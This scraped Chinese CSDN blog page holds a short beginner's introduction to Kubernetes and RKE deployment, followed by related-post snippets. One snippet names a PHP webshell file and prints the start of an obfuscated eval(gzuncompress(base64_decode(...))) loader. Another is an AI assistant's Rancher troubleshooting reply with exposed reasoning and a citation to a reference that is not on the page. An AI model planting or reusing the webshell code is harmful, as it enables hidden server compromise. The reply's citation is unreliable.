kube1-rke

最新推荐文章于 2025-03-10 01:16:46 发布
最新推荐文章于 2025-03-10 01:16:46 发布
阅读量461 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： kubenetes
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/vanilla_he/article/details/89671754
本文介绍了Kubernetes（k8s）作为容器编排引擎的基本概念，强调其在管理多个相关容器方面的作用。通过使用部署工具rke，文章分享了在Ubuntu18.04.2LTS环境下搭建Kubernetes集群的经验。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

kukenetes是什么？

官方说是一种容器编排引擎，还有文档说k8（kubenetes）是容器化的应用，某种机制。在我看来就是管理容器的一个工具。

kubenetes作用？

官方的太专业不想懂，总之体验下来，kubenetes像一个框架，里面可以运行好多组相关的容器。

运行机制看官方文档不想写了。

kukenetes部署

一个一个起kuke容器？NO！用rke啰，rke是kubenetes的部署工具。

主机准备

ip1

ip2

ip3

操作系统：网上说“建议使用Ubuntu 16.04.3 LTS版本；如果使用CentOS 7，建议7.3以上版本”，我用的是Ubuntu 18.04.2 LTS

 

 

 

 

 

 

 

kube-apiserver参数详解
qq_41768644的博客
01-13 456
K8S kube-apiserver参数详解
了解Kubernetes-RKE2的PKI以及证书存放位置
博然的宝藏库
06-06 1090
默认位置：/etc/kubenetes/pki ,因为我是搭建的RKE2发行版的k8s,故我的PKI在这里：/var/lib/rancher/rke2/server/tls。3、但同理Api-server相对于Etcd和Kubelet那么，Etcd、Kubelet为Server端，则Api-server有一份对应的Client证书。可以方便理解为当你的集群有Server,Client架构，那么为了安全加密之间的通信，则需要使用证书进行交互，那么利用PKI架构可以安全加密组件之间的通信。简称：证书基础设施。
kube1.21.1.tar.gz
05-27
k8s各个版本一键搭建，附带安装包，需要其他版本可以联系我
RKE-1 rke部署allinone k8s
段帅星的博客
11-04 918
环境信息 操作系统 主机名 IP地址 节点 配置 centos7.7minimal master1 192.168.121.11 master、node 2C4G docker版本：18.09.5 rke版本：v1.1.11 kubernetes版本: v1.18.10 资源下载地址：kubectl、rke（需要的同学可以通过百度网盘下载） 下载kubectl v1.18.10 wget https://storage.googleapis.com/kubernetes-release/
RKE1、K3S、RKE2 三大 Kubernetes 发行版的比较
techdashen的博客
03-10 1414
与 Rancher 1.0 的 Docker 容器管理不同，Rancher 2.0 仅支持 Kubernetes 作为唯一的编排引擎。Rancher 2.0 经过了至少三次重构，最终选择了最优的方案才发布。这三个 Kubernetes 发行版都是由 Rancher 开源的，这次分享将主要介绍它们的区别、各自的特点，以及适用的应用场景。分享人是来自 Rancher 苏州公司的工程师，主要负责 Rancher 国内社区的运营和运维工作。这个截图展示的是 Rancher UI 创建下游集群的选项，可以选择创建。
RKE-Learning-2：CentOS 7上的RKE
02-11
部署集群 这是使群集从零开始运行的步骤 # Provision all of our hosts $ ansible-playbook -i inventory.ini rke-deploy-playbook.yaml # Ensure that the RKE cluster is up $ rke up # Install MetalLB $ kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.9.5/manifests/namespace.yaml $ kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.9.5/manifests/metallb.yaml $ kubectl create secret gen
http://www.htsjpt.com/admin.php,webshell/php/xiao.php.txt at f875e7b78085777b8a10c3456478dbd192d851a...
热门推荐
weixin_39980575的博客
03-13 101万+
eval(gzuncompress(base64_decode("eJzsvfl3G8eROP6z/J7/h9GYK4AmiIP3IVDiTUq8RJA6qceHY0BABDDQAOAhW/u/MNpNvLJ2I0qkLoq6SJsUZVEUSUmOnnP4WCeO1slGzsd2rDjvW9XHTA8wACnFye7nky9tkUAf1dXV1dXV1dXViqap2rCmJFUtHU2M2Ku...
使用Kube-Bench对Kubernetes进行安全检测
lldhsds的专栏
06-13 1601
kube-bench是一款强大的工具，它可以帮助我们发现哪些Kubernetes配置没有遵循CIS的最佳实践，从而改正这些问题，增强我们的Kubernetes集群的安全性。虽然kube-bench不能捕获所有可能的安全问题，但它至少可以帮助我们消除最常见的一些安全漏洞。
【k8s】重启kube-proxy
突围
08-30 4137
参考 删除会自动创建 修改配置 kubectl edit cm kube-proxy -n kube-system kubectl edit cm kube-proxy -n kube-system 改为ipvs模式 kubectl get pod -n kube-system | grep kube-proxy |awk ‘{system(“kubectl delete pod “$1” -n kube-system”)}’ 会删除三个pod 获取proxy的pod 名 g...
使用kube-prometheus部署k8s监控---超详细(Kubernetes Deployment of Kubernetes Monitoring (detailed)
Linux运维老纪的博客
09-09 3044
​​​​​​​kube-prometheus是一个开源的监控和报警系统，它基于Prometheus和Grafana构建，旨在为Kubernetes提供监控功能。本章详细介绍如何使用kube-prometheus部署k8s监控。
Rancher网络插件部署任务（rke-network-plugin-deploy-job）获取作业完成状态失败
CodeByte的博客
08-13 885
当我尝试获取作业完成状态时，报错显示"Failed to get job complete status for job rke-network-plugin-deploy-job"，让我无法确认作业是否成功完成。最近在使用Rancher进行容器编排和管理时，遇到了一个问题：在部署Rancher网络插件时，无法获取作业的完成状态。在本文中，我分享了我在使用Rancher时遇到的一个问题：无法获取作业完成状态。通过使用Rancher提供的Python SDK，我能够解决这个问题，并成功获取作业的状态。
docker+rancher搭建过程中的ETCD等相关报错
youlinhuanyan的博客
02-15 6643
2022/02/14 13:34:14 [WARNING] Failed to create Docker container [etcd] on host [192.168.1.1]: Error response from daemon: No such image: rancher/coreos-etcd:v3.4.3-rancher1 2022/02/14 13:34:14 [ERROR] cluster [c-rc4nk] provisioning: [etcd] Failed to bring
RKE方式部署Kubernetes集群
Hello！C先生的博客
05-28 3876
####1、配置要求link 参考节点要求 https://www.rancher.cn/docs/rancher/v2.x/cn/install-prepare/requirements ####2、主机名配置 因为K8S的规定，主机名只支持包含 - 和 .(中横线和点)两种特殊符号，并且主机名不能出现重复。 hostnamectl set-hostname rke.thinkmap.xyz hostnamectl set-hostname node01 hostnamectl set-hostnam
Job for network.service failed because the control process exited with error code. See “systemctl st
yanghao201607030101的博客
07-20 399
[root@aubin ~]# service network restart Restarting network (via systemctl): Job for network.service failed because the control process exited with error code. See "systemctl status network.service" and "journalctl -xe" for details.
Rancher搭建k8s集群
QnHyn
01-10 1058
第一课 Rancher搭建k8s集群 tags: K8s集群 Rancher categories: Rancher搭建 文章目录第一课 Rancher搭建k8s集群第一节 centos7虚拟机的安装第二节 通过Rancher安装k8s集群 第一节 centos7虚拟机的安装 安装centos7, 直接选择网络模式桥接模式复制本机的ip。(安装时设置主机名) 集群配置的说明 硬件配置:2GB或更多RAM，2个CPU或更多CPU，硬盘30GB或更多 集群中所有机器之间网络互通。 可以访问外网，需要
资源网站链接
weixin_30469895的博客
02-01 2749
1.rpm包下载 www.rpmfind.net ftp://rpmfind.net/linux 2.根据依赖的库文件，查找相应的rpm包 https://pkgs.org/ 3.Cacti相关监控模板https://docs.cacti.net/templates 4.percona各版本备份数据工具下载（innobackupex、xtrabackup等）https...
Rancher入门到精通-2.0 ingress-nginx 异常 /etc/ingress-controller/ssl/default-fake-certificate.pem permissi
隔壁老瓦的专栏
10-21 3055
Error generating self-signed certificate: could not create temp pem file /etc/ingress-controller/ssl/default-fake-certificate.pem: open /etc/ingress-controller/ssl/default-fake-certificate.pem57502229...
job.yml
weixin_30338497的博客
09-30 218
job.yml apiVersion: batch/v1kind: Jobmetadata: name: myjobspec: completions: 6 parallelism: 2 template: metadata: name: myjob spec: containers: - name: hello image: bu...
我使用rancher创建集群，然后集群状态一直upateing，日志信息 [INFO ] waiting for at least one control plane, etcd, and worker node to be registered [INFO ] configuring bootstrap node(s) custom-128f0a422c2b: waiting for agent to check in and apply initial plan [INFO ] configuring bootstrap node(s) custom-128f0a422c2b: waiting for probes: calico, etcd, kube-apiserver, kube-controller-manager, kube-scheduler, kubelet [INFO ] configuring bootstrap node(s) custom-128f0a422c2b: waiting for probes: calico, etcd, kube-apiserver, kube-controller-manager, kube-scheduler [INFO ] configuring bootstrap node(s) custom-128f0a422c2b: waiting for probes: calico, kube-apiserver, kube-controller-manager, kube-scheduler [INFO ] configuring bootstrap node(s) custom-128f0a422c2b: waiting for probes: calico, kube-controller-manager, kube-scheduler [INFO ] configuring bootstrap node(s) custom-128f0a422c2b: waiting for probes: calico
最新发布
06-07
<think>嗯...用户这次提出了一个非常具体的Kubernetes运维问题，关于Rancher集群卡在updating状态。从技术深度来看，这属于Kubernetes集群部署的故障排查范畴，用户应该是个有一定容器平台管理经验的运维人员。用户特别提到了要分析calico/etcd/kube-apiserver等核心组件的日志，说明ta已经具备基本的排障思路。不过注意到用户引用了大量K8s配置片段（虽然有些和当前问题关联性不强），可能ta在排查时已经尝试过检查这些组件的配置。考虑到Rancher的架构特性，这个问题需要从三个层面分析：Rancher管理平面（cattle-cluster-agent）、本地集群组件（kubelet等）、网络插件（calico）。用户没有提供具体日志，所以需要给出通用排查路径。最关键的突破口应该是kubelet日志和cattle-cluster-agent状态。因为如果kubelet无法正常注册节点，Rancher就会持续显示updating。另外calico的IP分配问题也是常见阻塞点，特别是当host-gw模式配置错误时。需要提醒用户注意Rancher的版本差异：2.5.x和2.6.x的troubleshooting方式不同。用户没提版本号，所以回复里要包含通用方法，但补充版本提示。用户上次询问的是快速排序算法，这次突然跳到K8s运维，可能是不同的项目需求。不过从ta能精确列出组件名称来看，技术水平应该不错，可以直接给技术性较强的解决方案。</think> Rancher 集群卡在 **"Updating"** 状态是常见问题，通常源于 **控制平面组件未就绪** 或 **关键进程（如 `cattle-cluster-agent`）通信异常**。以下是系统性排查步骤与解决方案： --- ### **一、核心排查方向** 1. **`cattle-cluster-agent` 状态** - **检查 Pod 是否运行正常**（通常在 `cattle-system` 命名空间）： ```bash kubectl get pods -n cattle-system -o wide | grep cluster-agent ``` - **问题表现**： - Pod 处于 `CrashLoopBackOff` 或 `Pending` 状态 - READY 列为 `0/1`（如 `0/1`） - **修复方案**： - 检查节点资源是否充足（CPU/内存） - 排查网络策略是否阻断 agent 与 Rancher Server 通信（默认端口 `443`） - 查看日志定位错误： ```bash kubectl logs -n cattle-system -l app=cattle-cluster-agent ``` 2. **控制平面组件健康度** - **检查关键组件状态**： ```bash kubectl get pods -n kube-system -o wide | grep -E 'kube-apiserver|kube-controller-manager|kube-scheduler|calico|etcd' ``` - **重点关注**： - `etcd` 集群是否健康（`etcdctl cluster-health`） - `calico` 是否报告 `IPAM` 错误（`kubectl logs -n kube-system -l k8s-app=calico-node`） - `kube-controller-manager` 是否因证书问题卡住（引用[4]的 Node Controller 异常） 3. **节点 `kubelet` 服务状态** - **检查所有节点的 `kubelet` 是否活动**： ```bash systemctl status kubelet --no-pager # 在问题节点执行 journalctl -u kubelet -n 100 -f # 查看实时日志 ``` - **常见错误**： - 证书过期（`x509: certificate has expired or is not yet valid`） - 镜像拉取失败（如 `ImagePullBackOff`） --- ### **二、网络与证书深度分析** #### **1. Calico 网络问题** ```bash # 检查 Calico BGP 对等连接状态 calicoctl node status ``` - **典型故障**： - `IP pool` 耗尽（日志含 `block is already assigned`） → 扩容 IP 池范围 - `Felix` 服务异常 → 重启 Calico Pods #### **2. 证书过期** - **检查证书有效期**（在控制节点执行）： ```bash openssl x509 -enddate -noout -in /etc/kubernetes/ssl/kube-apiserver.pem openssl x509 -enddate -noout -in /etc/kubernetes/ssl/kube-controller-manager.pem ``` - **解决方案**： - 通过 `kubeadm certs renew all` 更新证书（RKE 集群需使用 `rke cert rotate`） - 重启控制组件（如 `docker restart kube-apiserver`） #### **3. ETCD 集群异常** - **检查集群一致性**： ```bash ETCDCTL_API=3 etcdctl --endpoints=https://[IP]:2379 --cacert=/etc/kubernetes/ssl/etcd-ca.pem --cert=/etc/kubernetes/ssl/etcd.pem --key=/etc/kubernetes/ssl/etcd-key.pem endpoint health ``` - **修复建议**： - 备份数据后重启 `etcd` 容器 - 重新添加新节点（若节点永久离线） --- ### **三、Rancher 管理集群操作** 1. **强制删除卡住集群** ```bash kubectl delete cluster.management.cattle.io [CLUSTER-ID] --force --grace-period=0 ``` 2. **重新导入集群** - 在 Rancher UI 删除集群 → 重新运行导入命令（`kubectl apply`） - 确保新生成的 `cattle-cluster-agent` 版本匹配 Rancher Server 版本 --- ### **四、日志分析命令速查** | 组件 | 日志命令 | |---------------------|--------------------------------------------------------------------------| | `cattle-cluster-agent` | `kubectl logs -n cattle-system -l app=cattle-cluster-agent` | | `kube-apiserver` | `kubectl logs -n kube-system kube-apiserver-[node-name]` | | `kube-controller` | `kubectl logs -n kube-system kube-controller-manager-[node-name]` | | `calico-node` | `kubectl logs -n kube-system -l k8s-app=calico-node` | | `etcd` | `docker logs etcd` （或检查 journalctl -u etcd） | --- ### **常见根本原因** 1. **证书过期**（尤其 `controller-manager` 客户端证书）[^4] 2. **网络插件（Calico）IP 分配失败** 3. **Rancher agent 与 Server 通信被防火墙阻断** 4. **底层资源不足（CPU/内存/存储）** > **提示**：通过 `kubectl describe node [node-name]` 查看节点资源水位，确保 `kubelet` 有足够资源启动核心 Pod。 --- **
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值